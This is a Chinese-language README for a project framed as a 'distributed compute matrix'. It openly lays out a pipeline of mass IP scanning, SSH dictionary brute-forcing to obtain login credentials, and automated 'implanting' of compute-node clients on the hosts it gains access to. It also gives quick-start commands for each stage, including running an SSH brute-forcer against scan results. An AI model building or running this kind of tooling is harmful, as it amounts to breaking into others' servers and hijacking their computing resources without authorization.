89 lines
3.6 KiB
Markdown
89 lines
3.6 KiB
Markdown
|
|
# 分布式算力矩阵
|
|||
|
|
|
|||
|
|
> 快速扫描 → 暴力破解 → 凭证管理 → 节点部署 → 监控运维
|
|||
|
|
> 目标:快速获取可用IP,暴力破解凭证,一键登录部署,构建分布式算力网络
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## 项目概述
|
|||
|
|
|
|||
|
|
分布式算力矩阵是一个完整的分布式计算节点管理平台,涵盖从IP发现、凭证管理、远程部署、任务调度到集群监控的全生命周期管理。
|
|||
|
|
|
|||
|
|
## 核心目标
|
|||
|
|
|
|||
|
|
1. **快速获取IP** - 多维度扫描(IP段/端口/存活探测/资产指纹),批量发现可用节点
|
|||
|
|
2. **安全管理凭证** - 统一管理账号密码/SSH密钥/API Token,加密存储
|
|||
|
|
3. **一键植入部署** - 自动化部署算力节点客户端,支持多平台(Linux/Windows/macOS)
|
|||
|
|
4. **暴力破解凭证** - SSH字典攻击、异步高并发破解,快速获取登录凭证
|
|||
|
|
5. **全面监控运维** - 实时监控节点状态、资源使用、告警通知、日志聚合
|
|||
|
|
|
|||
|
|
## 目录结构
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
分布式算力矩阵/
|
|||
|
|
├── README.md # 本文件 - 项目总览
|
|||
|
|
├── 01_扫描模块/ # IP扫描、端口扫描、存活探测、资产指纹
|
|||
|
|
│ ├── SKILL.md # 扫描技能说明
|
|||
|
|
│ ├── scripts/ # 扫描脚本
|
|||
|
|
│ └── references/ # 参考文档
|
|||
|
|
├── 02_账号密码管理/ # 凭证管理、密钥存储、权限控制
|
|||
|
|
│ ├── SKILL.md # 凭证管理技能说明
|
|||
|
|
│ ├── scripts/ # 管理脚本
|
|||
|
|
│ └── references/ # 参考文档
|
|||
|
|
├── 03_节点部署/ # 分布式算力节点植入与部署
|
|||
|
|
│ ├── SKILL.md # 部署技能说明
|
|||
|
|
│ ├── scripts/ # 部署脚本
|
|||
|
|
│ └── references/ # 参考文档
|
|||
|
|
├── 04_暴力破解/ # SSH凭证暴力破解与字典攻击
|
|||
|
|
│ ├── SKILL.md # 破解技能说明
|
|||
|
|
│ ├── scripts/ # 破解脚本(ssh_bruter.py等)
|
|||
|
|
│ └── references/ # 字典文件与参考文档
|
|||
|
|
└── 05_监控运维/ # 集群监控、告警、日志聚合
|
|||
|
|
├── SKILL.md # 运维技能说明
|
|||
|
|
├── scripts/ # 运维脚本
|
|||
|
|
└── references/ # 参考文档
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 运营流程
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
扫描发现IP → 录入凭证 → 远程部署节点 → 加入调度池 → 持续监控
|
|||
|
|
↑ │
|
|||
|
|
└──────────── 节点失效/下线 ← 告警触发 ←─────────────┘
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 技术栈
|
|||
|
|
|
|||
|
|
| 模块 | 核心工具 | 备注 |
|
|||
|
|
|:---|:---|:---|
|
|||
|
|
| 扫描 | nmap / masscan / zmap / Python | 多引擎扫描 |
|
|||
|
|
| 凭证 | SQLCipher / Vault / keyring | 加密存储 |
|
|||
|
|
| 部署 | SSH / Ansible / Shell | 批量远程部署 |
|
|||
|
|
| 破解 | AsyncSSH / Paramiko / Hydra | 字典攻击 |
|
|||
|
|
| 监控 | Prometheus + Grafana / 自研 | 实时监控 |
|
|||
|
|
|
|||
|
|
## 快速开始
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
# 1. 扫描目标网段
|
|||
|
|
python 01_扫描模块/scripts/scan_manager.py --target 192.168.1.0/24
|
|||
|
|
|
|||
|
|
# 2. 导入扫描结果到凭证库
|
|||
|
|
python 02_账号密码管理/scripts/import_hosts.py --from scan_results.json
|
|||
|
|
|
|||
|
|
# 3. 批量部署算力节点
|
|||
|
|
python 03_节点部署/scripts/deploy.py --hosts hosts.json --key ~/.ssh/id_rsa
|
|||
|
|
|
|||
|
|
# 4. SSH暴力破解获取凭证
|
|||
|
|
python 04_暴力破解/scripts/ssh_bruter.py --from-scan 01_扫描模块/results/scan_results.json
|
|||
|
|
|
|||
|
|
# 5. 查看集群状态
|
|||
|
|
python 05_监控运维/scripts/monitor.py status
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
> 创建日期:2026-02-15
|
|||
|
|
> 负责人:卡若
|
|||
|
|
> 状态:初始化
|